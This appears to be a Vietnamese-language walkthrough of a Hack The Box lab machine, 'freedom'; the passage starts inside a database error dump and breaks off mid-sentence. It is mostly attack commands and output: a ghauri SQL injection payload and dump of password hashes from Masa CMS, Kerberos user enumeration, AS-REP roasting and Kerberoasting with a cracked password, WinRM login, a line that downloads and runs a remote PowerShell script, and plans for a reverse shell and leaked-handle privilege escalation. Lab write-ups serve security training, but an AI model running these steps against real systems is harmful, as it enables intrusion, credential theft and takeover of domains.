&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;cfreturn&nbsp;handleAPIRequest(path)&gt;</b><br>\n776: &nbsp;&nbsp;&nbsp;&lt;cfelse&gt;<br>\n777: <br>\n"},{"raw_trace":"index_cfm$cf.call(/index.cfm:75)","codeprintplain":"73: modified version; it is your choice whether to do so, or to make such modified version available under the GNU General Public License \n74: version 2 without this exception.  You may, if you choose, apply this exception to your own modified versions of Mura CMS.\n75: ---><cfoutput>#application.contentServer.handleRootRequest()#</cfoutput>\n","column":"0","line":"75","template":"/var/www/MasaCMS/index.cfm","id":"??","type":"cfml","codeprinthtml":"73: modified&nbsp;version;&nbsp;it&nbsp;is&nbsp;your&nbsp;choice&nbsp;whether&nbsp;to&nbsp;do&nbsp;so,&nbsp;or&nbsp;to&nbsp;make&nbsp;such&nbsp;modified&nbsp;version&nbsp;available&nbsp;under&nbsp;the&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License&nbsp;<br>\n74: version&nbsp;2&nbsp;without&nbsp;this&nbsp;exception.&nbsp;&nbsp;You&nbsp;may,&nbsp;if&nbsp;you&nbsp;choose,&nbsp;apply&nbsp;this&nbsp;exception&nbsp;to&nbsp;your&nbsp;own&nbsp;modified&nbsp;versions&nbsp;of&nbsp;Mura&nbsp;CMS.<br>\n<b>75: ---&gt;&lt;cfoutput&gt;#application.contentServer.handleRootRequest()#&lt;/cfoutput&gt;</b><br>\n"}],"errorcode":"0","nativeerrorcode":"1064","type":"database","datasource":"MasaCMS","stacktrace":"lucee.runtime.exp.DatabaseException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''x\\'''\n\tand tcontentobjects.columnid=1\n\torder by tcontentobjects.orderno' at line 8\n\tat com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:112)\n\tat com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114)\n\tat com.mysql.cj.jdbc.StatementImpl.executeInternal(StatementImpl.java:837)\n\tat com.mysql.cj.jdbc.StatementImpl.execute(StatementImpl.java:685)\n\tat lucee.runtime.type.util.QueryUtil.execute(QueryUtil.java:345)\n\tat lucee.runtime.type.QueryImpl.execute(QueryImpl.java:296)\n\tat lucee.runtime.type.QueryImpl.<init>(QueryImpl.java:242)\n\tat lucee.runtime.tag.Query.executeDatasoure(Query.java:1127)\n\tat lucee.runtime.tag.Query._doEndTag(Query.java:694)\n\tat lucee.runtime.tag.Query.doEndTag(Query.java:559)\n\tat content.contentgatewayadobe_cfc$cf.udfCall5(/mura/content/contentGatewayAdobe.cfc:2664)\n\tat content.contentgatewayadobe_cfc$cf.udfCall(/mura/content/contentGatewayAdobe.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.call(UDFImpl.java:224)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:715)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.call(ComponentImpl.java:2029)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:796)\n\tat lucee.runtime.PageContextImpl.getFunction(PageContextImpl.java:1996)\n\tat content.contentrendererutility_cfc$cf.udfCall4_000073(/mura/content/contentRendererUtility.cfc:1507)\n\tat content.contentrendererutility_cfc$cf.udfCall4(/mura/content/contentRendererUtility.cfc:1446)\n\tat content.contentrendererutility_cfc$cf.udfCall(/mura/content/contentRendererUtility.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:214)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:716)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:2048)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:875)\n\tat lucee.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:2028)\n\tat content.contentrenderer_cfc$cf.udfCall6(/mura/content/contentRenderer.cfc:2435)\n\tat content.contentrenderer_cfc$cf.udfCall(/mura/content/contentRenderer.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:214)\n\tat lucee.runtime.type.scope.UndefinedImpl.callWithNamedValues(UndefinedImpl.java:800)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:875)\n\tat lucee.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:2028)\n\tat cfobject_cfc$cf.udfCall3(/mura/cfobject.cfc:262)\n\tat cfobject_cfc$cf.udfCall(/mura/cfobject.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:214)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:716)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:2048)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:875)\n\tat lucee.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:2028)\n\tat masascope_cfc$cf.udfCall1(/mura/MasaScope.cfc:135)\n\tat masascope_cfc$cf.udfCall(/mura/MasaScope.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.call(UDFImpl.java:224)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:715)\n\tat lucee.runtime.ComponentImpl.onMissingMethod(ComponentImpl.java:627)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:590)\n\tat lucee.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:2048)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:875)\n\tat lucee.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:2028)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall6_000109(/mura/client/api/json/v1/jsonApiUtility.cfc:3923)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall6(/mura/client/api/json/v1/jsonApiUtility.cfc:3922)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall(/mura/client/api/json/v1/jsonApiUtility.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:214)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:716)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:2048)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:909)\n\tat lucee.runtime.functions.dynamicEvaluation.Invoke.call(Invoke.java:54)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall2_000012(/mura/client/api/json/v1/jsonApiUtility.cfc:893)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall2(/mura/client/api/json/v1/jsonApiUtility.cfc:893)\n\tat client.api.json.v1.jsonapiutility_cfc$cf.udfCall(/mura/client/api/json/v1/jsonApiUtility.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.call(UDFImpl.java:224)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:715)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.call(ComponentImpl.java:2029)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:796)\n\tat lucee.runtime.PageContextImpl.getFunction(PageContextImpl.java:1996)\n\tat content.contentserver_cfc$cf.udfCall2(/mura/content/contentServer.cfc:613)\n\tat content.contentserver_cfc$cf.udfCall(/mura/content/contentServer.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.call(UDFImpl.java:224)\n\tat lucee.runtime.type.scope.UndefinedImpl.call(UndefinedImpl.java:782)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:796)\n\tat lucee.runtime.PageContextImpl.getFunction(PageContextImpl.java:1996)\n\tat content.contentserver_cfc$cf.udfCall2(/mura/content/contentServer.cfc:775)\n\tat content.contentserver_cfc$cf.udfCall(/mura/content/contentServer.cfc)\n\tat lucee.runtime.type.UDFImpl.implementation(UDFImpl.java:112)\n\tat lucee.runtime.type.UDFImpl._call(UDFImpl.java:357)\n\tat lucee.runtime.type.UDFImpl.call(UDFImpl.java:224)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:715)\n\tat lucee.runtime.ComponentImpl._call(ComponentImpl.java:588)\n\tat lucee.runtime.ComponentImpl.call(ComponentImpl.java:2029)\n\tat lucee.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:796)\n\tat lucee.runtime.PageContextImpl.getFunction(PageContextImpl.java:1996)\n\tat index_cfm$cf.call(/index.cfm:75)\n\tat lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:1050)\n\tat lucee.runtime.PageContextImpl._doInclude(PageContextImpl.java:944)\n\tat lucee.runtime.listener.ModernAppListener._onRequest(ModernAppListener.java:213)\n\tat lucee.runtime.listener.MixedAppListener.onRequest(MixedAppListener.java:41)\n\tat lucee.runtime.PageContextImpl.execute(PageContextImpl.java:2731)\n\tat lucee.runtime.PageContextImpl._execute(PageContextImpl.java:2718)\n\tat lucee.runtime.PageContextImpl.executeCFML(PageContextImpl.java:2689)\n\tat lucee.runtime.engine.Request.exe(Request.java:45)\n\tat lucee.runtime.engine.CFMLEngineImpl._service(CFMLEngineImpl.java:1155)\n\tat lucee.runtime.engine.CFMLEngineImpl.serviceCFML(CFMLEngineImpl.java:1112)\n\tat lucee.loader.engine.CFMLEngineWrapper.serviceCFML(CFMLEngineWrapper.java:97)\n\tat lucee.loader.servlet.CFMLServlet.service(CFMLServlet.java:51)\n\tat javax.servlet.http.HttpServlet.service(HttpServlet.java:623)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:199)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)\n\tat org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)\n\tat org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:168)\n\tat org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:144)\n\tat org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:168)\n\tat org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)\n\tat org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:481)\n\tat org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:130)\n\tat org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)\n\tat org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)\n\tat org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:346)\n\tat org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:388)\n\tat org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)\n\tat org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:928)\n\tat org.apach* shutting down connection #0
e.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1791)\n\tat org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)\n\tat org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1190)\n\tat org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)\n\tat org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)\n\tat java.base/java.lang.Thread.run(Unknown Source)\n","where":"","extendedinfo":""}},"method":"processAsyncObject","apiversion":"v1"}                                                      
```

Vậy thì sử dụng `ghauri` để khai thác:

```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ ghauri -u 'http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x' -p contenthistid
<....SNIP....>
Ghauri identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: contenthistid (GET)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: method=processAsyncObject&object=displayregion&contenthistid=x\' AND GTID_SUBSET(CONCAT_WS(0x28,0x496e6a65637465647e,0x72306f746833783439,0x7e454e44),1337)-- wXyW&previewID=x
---
<....SNIP....>

```

Okay có payload rồi thì tiếp tục liệt kê ra DB: 
```bash=
ghauri -u 'http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x' -p contenthistid --dbs
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ ghauri -u 'http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x' -p contenthistid --dbs

---
available databases [5]:
[*] mysql
[*] information_schema
[*] sys
[*] performance_schema
[*] dbMasaCMS
```

Nếu như không có gì thay đổi thì mình sẽ hay check source của Masa để có thể list ra các bảng tiềm năng để mà khai thác thay vì mình đợi `ghauri` check. Mọi người có thể xem được file setup DB của masa:
https://github.com/MasaCMS/MasaCMS/blob/main/core/setup/db/mysql.sql

<h2>
    Hướng 1
</h2>

Tìm một chút theo các từ nóng ví dụ như `password` hay `users` thì thấy tiềm năng rằng ta nên dump bảng `tusers` từ DB **dbMasaCMS**. Nhưng không dump hết chỉ dump một số trường cơ bản như `Fname, Lname, Email và password` tương ứng:

```bash=
ghauri -u 'http://freedom.htb/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x' -p contenthistid -D dbMasaCMS -T tusers -C Fname,Lname,Email,password --dump
Database: dbMasaCMS
Table: tusers
[6 entries]
+-----------+-------+--------------------+--------------------------------------------------------------+
| Fname     | Lname | Email              | password                                                     |
+-----------+-------+--------------------+--------------------------------------------------------------+
| Justin    | Bret  | writer@freedom.htb | $2a$10$AkLq72X91r4vNDulSohflOU82RjVF8hALkdVTWWtaY.LDHCkZW5je |
| Esmeralda | Tylar | writer@freedom.htb | $2a$10$nnS3OmT6r7BvVcryxh5fi.vdUkdSN1eoy/0DCahhTshH.UklejP/m |
| Admin     | User  | admin@freedom.htb  | $2a$10$xHRN1/9qFGtMAPkwQeMLYes2ysff2K970UTQDneDwJBRqUP7X8g3q |
| Gregory   | Davis | writer@freedom.htb | $2a$10$yBgldtETEe3EYXWUgMQfyOGnQsBLLgKwHUo2d26cwFWftQ.MCsEzq |
| George    | Smith | writer@freedom.htb | $2a$10$yBgldtETEe3EYXWUgMQfyOc685W.rhBZCG.gnri8HrQsQ13ELDZpC |
| Jennifer  | Jones | writer@freedom.htb | $2a$10$yBgldtETEe3EYXWUgMQfyOGnQsBLLgKwHUo2d26cwFWftQ.MCsEzq |
+-----------+-------+--------------------+--------------------------------------------------------------+
```

Hash này thử dùng với `hashcat` hay là `john` thì khá là chậm chạp vậy nên để đó bên cạnh đã.

Theo kinh nghiệm không nhỏ thì không ít của mình làm **AD** thì từ `FName, Lname` thì username trên DC có thể là `j.bret, e.tylar, g.davis, j.jones`. 
Hoặc có thể tạo ra một danh sách `usernames` tiềm năng từ danh sách tên bằng cách sử dụng https://github.com/urbanadventurer/username-anarchy.

Sử dụng `kerbrute` để xác nhận lại:
```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ sudo ntpdate -s dc1.freedom.htb                            
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ cat users.txt                                                               
j.bret
e.tylar
g.davis
g.smith
j.jones                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ ./kerbrute userenum users.txt --dc 10.129.231.208 -d freedom.htb

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 12/17/24 - Ronnie Flathers @ropnop

2024/12/17 23:41:19 >  Using KDC(s):
2024/12/17 23:41:19 >   10.129.231.208:88

2024/12/17 23:41:19 >  [+] VALID USERNAME:       j.bret@freedom.htb
2024/12/17 23:41:19 >  [+] VALID USERNAME:       e.tylar@freedom.htb
2024/12/17 23:41:19 >  Done! Tested 5 usernames (2 valid) in 0.587 seconds
```

Ngay lập tức check trường hợp đầu tiên rằng mật khẩu và tài khoản có trùng nhau hay không (hmm không được bởi vì thế thì dễ quá).

Cùng với NTLM thì Kerberos là một giao thức xác thực trong AD. Tuy nhiên NTLM cũng có vài điểm yếu dẫn đến công cụ xác thực mặc định/tiêu chuẩn từ Wins 2000 trở đi (không có MFA, Password không có "muối", các kỹ thuật Relay nếu như signing không được bật). 

Nhưng NTLM vẫn có thể được sử dụng để đăng nhập. Check var cùng NTLM thì có một số bộ môn sau:

1) Kerberoasting
2) AS-REP Roasting
3) Golden Ticket
4) Sliver Ticket
5) ...

https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties. 
Việc tận dụng cờ `DONT_REQUIRE_PREAUTH` dẫn đến tài khoản không yêu cầu Kerberos pre-authenticaion và phần lớn trường hợp được sử dụng khi người dùng muốn xác thực ở các ứng dụng không hỗ trợ Kerberos pre-authentication.

Vậy trong trường hợp khi không có creds thì ta sẽ thử trường hợp với người dùng nào không có flag `DONT_REQUIRE_PREAUTH` bằng cách sử dụng `GETNPUsers.py` từ bộ tool `impacket`:

```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ cat users.txt 
j.bret
e.tylar                                                                                                                                                                           
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ GetNPUsers.py -usersfile users.txt freedom.htb/ -dc-ip 10.129.231.208
Impacket v0.13.0.dev0+20241127.154729.af51dfd1 - Copyright Fortra, LLC and its affiliated companies 

[-] User j.bret doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$e.tylar@FREEDOM.HTB:fb9b4cb2eedcfce986efa80b4424a169$261d738790d832be8038210260f9f265defdc16642a74031e90598038ffc707d969d336ba44816a23c8f363e3fedc7b349bad71778f1b0a4a312918107917812dea5290368e3a33355b5af5b6b10979328801ba034c811074b529f40b1b03bc794e58d79d3ac2910e906bcfcbc46ca1895fc38b49bb2f4673e6cfc2dcfec1a608561068b2f14d199d06c92545a268d707858fc4fba450efa8586423b91bc3dd096b1f189e7692b4a019066acf33b98a687720d78383adcde5c0074a9375d02ea1c5690bf7d055186fafd4336efc15deb4e21b3f74d6593564bc2cc991e5aa3517fceb66c352b1f8fb31f

```
Nhưng tiếc rằng hash của `e.tylar` lại không thể crack được. Hmm làm gì tiếp.

Chắc phải làm gì đó được chứ nhỉ

Quay trở lại với [blog](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/) này thì có thể lợi dụng người dùng với cờ `DONT_REQUIRE_PREAUTH` để Kerberoast những người dùng khác. Vậy thì thử thôi (cùng sử dụng bộ tool impacket nhưng thay vào đó là `GetUserSPNs.py`)

```bash=
                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ GetUserSPNs.py -no-preauth 'e.tylar' -usersfile users.txt -dc-host 10.129.231.208 freedom.htb/
.Impacket v0.13.0.dev0+20241127.154729.af51dfd1 - Copyright Fortra, LLC and its affiliated companies 

$krb5tgs$23$*j.bret$FREEDOM.HTB$j.bret*$cd960978ca9f90b842d055be486e9ce1$1001efbf3cb4343bdd27ab862916ff91b49364473bc6dd22888c0fbbec672d027b3620058a9055ef65d42c5df924dda861fedea4ff59474c9b7d069169aadddbb8851d5d2b332ddc76cfe4bf1407fa84b152b2a39f4a5d2d23a74abb51d2a58e40b962d75e5f56147ea96eba257a3fbf13969069e45309a64cef523d7641c3f814854b26d9e9bb840017e07a18b012f138e450fbd0f4d1e779d0baff894c6294376b2214f54e2acc1cf5f7780146bccbe8c417a89f0029ad41084d293b0abcbd87634da7b552440f7c96ca6ed62938631a456d241605d6804c881f1d6e43547ed74cd54ed4593c59a03fb9a24f096d09421f65ac787c65b7fcee013b775fd73b5e10708dcb7471b859fa0a74d6a002204082d40b69808d01e4b4026510933e900328f7795edffc656d27cc82b64e89b705f849f36276aa8f95d35a3477c26e86dc9fe7c7e699e122e411a2424913a1ecdc7e6d2a964c1c23357101e195e377bb58a06a751dadfead62e8531d657e69989ceadbc29582c7523e27891b5ffec3292f64cca72e423253a2219ab746221281ce9236ba3bb0390c95accdd74567d646186d86770a63069499447eaffd33e883aa1311455ac97f68f51f514fde66a00fb5e90215f125b5f19779cd4b2107aba7f93a22d4ef0493a7fb4ddfec46be96ca2826e8cff51fa8e9ebd6f9958e85ef8272158ee644e032ba6c1515aafa512e21854302a05203cc41ac821dc52ae5270f5731f3b847c11683de7894da95ddcbf0094a09f526f1122324417dcbac8715485994984b7f103663c193463d46d0d617d9d41435f7c2fbba287b9219b714d12d61b4785e73ed16b7874e1eb106b303f609dad1a0a8d6aa616ce4fe44758b2c9e3199a720c977b79e6ce342335ffa73f2bfaf3f45e436f1a1ffda64adef88cde814d0fcb81bd7d3c299a7ee99acfbc57ba0d87d392de95bffa734937cd86072e03c1c4e68d9d73a2bf44b63472cd9b3d3a41e4e710ca89b6d7656fa886ae95e16eae497264580f9fd58df6590daaa6be23f6d01828fb164eb87bb9e301a4208052e5d114e4b48c78eed7513dc4c1fceda2e70906d4cc8ad0b796d993ef7cbcd57b875ba08eea46f3c1cb03d1fecd046121c9e8889335af7f671e7cbd47a2d1f180908f515c2d8653e15681e910131f2bf958615d39ac9ae286ad8cbcd941b8bfa8868c24448a5f06f2cc54764b31eaeef0d5391fd2fc52021fb63316ea138a18e66a21f0a67858d097d727d9142252e430a7bb6fbb2d99db48106bb9b8965a16a6a517dcc45899ac6c77e35eaf95ec4ee2d3c1de817df73695df5cbba9bbfab9a144e6ba5d647e3f96de1c57536231c62edf8a6579a1813cee13dd7c5c172a89b0918c006d2186ab34dadb806bdcf34b7392bb6bca7617bca6406c2b52bd839e67f94ebede180a26042288f697fd6526a7c9233f7361207592db868af840eaf3c98a0b8c7191523aaa1a93beb877f62ce410f678c10a8e748e4b896
[-] Principal: e.tylar - Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)

```
Và boom:

```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt etylar.hash 
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
swordsoffreedom  (?)     
1g 0:00:00:01 DONE (2024-12-18 00:29) 0.6944g/s 2387Kp/s 2387Kc/s 2387KC/s swscheer..swkotor2
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Check var nhanh cùng

```bash=
┌──(kali㉿kali)-[~/Desktop/freedom]
└─$ ldapsearch -H ldap://10.129.231.208 -D 'j.bret@freedom.htb' -w 'swordsoffreedom' -b "DC=freedom,DC=htb" "(cn=Justin Bret)"

# extended LDIF
#
# LDAPv3
# base <DC=freedom,DC=htb> with scope subtree
# filter: (cn=Justin Bret)
# requesting: ALL
#

# Justin Bret, Users, freedom.htb
dn: CN=Justin Bret,CN=Users,DC=freedom,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Justin Bret
sn: Bret
givenName: Justin
distinguishedName: CN=Justin Bret,CN=Users,DC=freedom,DC=htb
instanceType: 4
whenCreated: 20241106114729.0Z
whenChanged: 20241218024856.0Z
displayName: Justin Bret
uSNCreated: 16426
memberOf: CN=Remote Management Users,CN=Builtin,DC=freedom,DC=htb
```
thì thấy rằng `j.bret` nằm trong group `Remote Management Users` (https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#remote-management-users) . Do đó có thể lấy được shell WinRM:
```bash=
evil-winrm -i freedom.htb -u 'j.bret' -p 'swordsoffreedom'
```

User flag nằm trong Desktop:
```powershell=
*Evil-WinRM* PS C:\Users\j.bret> tree . /f
Folder PATH listing
Volume serial number is BDEB-2927
C:\USERS\J.BRET
ÃÄÄÄ3D Objects
ÃÄÄÄContacts
ÃÄÄÄDesktop
³       HealthCheck.exe
³       user.txt
³
ÃÄÄÄDocuments
ÃÄÄÄDownloads
ÃÄÄÄFavorites
³   ³   Bing.url
³   ³
³   ÀÄÄÄLinks
ÃÄÄÄLinks
³       Desktop.lnk
³       Downloads.lnk
³
ÃÄÄÄMusic
ÃÄÄÄPictures
ÃÄÄÄSaved Games
ÃÄÄÄSearches
ÀÄÄÄVideos
```

```
PS C:\Users\j.bret\Desktop> cat .\user.txt
HTB{c4n_y0u_pl34as3_cr4ck?} 
```

Ngay sau khi có shell WinRM, check thêm một chút nữa thì AV đã được tắt. Nâng cấp shell hiện tại bằng cách sử dụng shell của `msfvenom`.

Mọi ánh mắt đổ dồn vào file `HealthCheck.exe` ngay trong thư mục `Desktop` của người dùng.

Chạy thử xem có gì không thì trả ra như thế này và treo:

```
PS C:\Users\j.bret\Desktop> .\HealthCheck.exe -h
.\HealthCheck.exe -h

Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
```

Vẫn không có gì khả nghi lắm. Vậy thì kết hợp dùng cùng https://github.com/itm4n/PrivescCheck thử xem:
```
PS C:\> IEX(IWR http://10.10.14.3/PrivescCheck.ps1 -UseBasicParsing)
PS C:\> Invoke-PrivescCheck -Extended
```

Có 1 số kết quả cần chú ý như sau:
```powershell=
[*] Status: Informational (not vulnerable)

????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Exploitable leaked handles                        ?
????????????????????????????????????????????????????????????????
? Check whether the current user has access to a process that  ?
? contains a leaked handle to a privileged process, thread, or ?
? file object.                                                 ?
????????????????????????????????????????????????????????????????
[*] Status: Vulnerable - Medium


Object                    : 0xffffc006db50d080
UniqueProcessId           : 6060
HandleValue               : 0xf0
GrantedAccess             : 0x1fffff
HandleAttributes          : 2
ObjectTypeIndex           : 7
ObjectType                : Process
ObjectName                : 
TargetProcessId           : 6676
TargetProcessAccessRights : ALL_ACCESS

[*] Status: Informational (nothing found)

????????????????????????????????????????????????????????????????
? CATEGORY ? TA0004 - Privilege Escalation                     ?
? NAME     ? Service list (non-default)                        ?
????????????????????????????????????????????????????????????????
? Get information about third-party services. It does so by    ?
? parsing the target executable's metadata and checking        ?
? whether the publisher is Microsoft.                          ?
????????????????????????????????????????????????????????????????
[*] Status: Informational


Name        : HealthCheck
DisplayName : HealthCheck
ImagePath   : C:\Users\Administrator\Documents\health.exe
User        : LocalSystem
StartMode   : Automatic

PS C:\Users\j.bret\Documents> ps | findstr ealth
ps | findstr ealth
     72       5      732       3412              6676   0 health                                                       
    203       4      600       2864       0.00   3180   0 HealthCheck                                                  
     53       4      608       2892       0.02   6060   1 HealthCheck 
```

Search google và xem được video này thì đã hiểu qua 1 chút về cách khai thác (https://www.youtube.com/watch?v=IzZ649EvWXI). 

![image](https://hackmd.io/_uploads/rytaPygB1g.png)
![image](https://hackmd.io/_uploads/Bkr0Dkgryl.png)

Đã quá tường minh và rõ ràng. Ở đây bản chất lợi dụng vào cờ `INHERIT=TRUE` được bật thế nên mọi tiến trình được tạo ở ra phiên mới sẽ có đầy đủ quyền của Administrator.

Trong trường hợp này thì ta sẽ sử dụng https://github.com/lab52io/LeakedHandlesFinder. Đọc code thì thấy rằng nó sẽ pop up ra một cửa sổ `cmd` mới. Tuy nhiên chúng ta đang sử dụng reverse shell vậy nên cần chỉnh sửa chút PoC lại.

Ở https://github.com/lab52io/LeakedHandlesFinder/blob/b81f2f8d7129330e9ef0f5851db923630a4e6e5c/LeakedHandlesFinder/LeakedHandlesFinder.cpp#L873 thì ta sẽ đổi đường dẫn đến file revshell đã chuẩn bị sẵn (ở đây đang đặt ở:
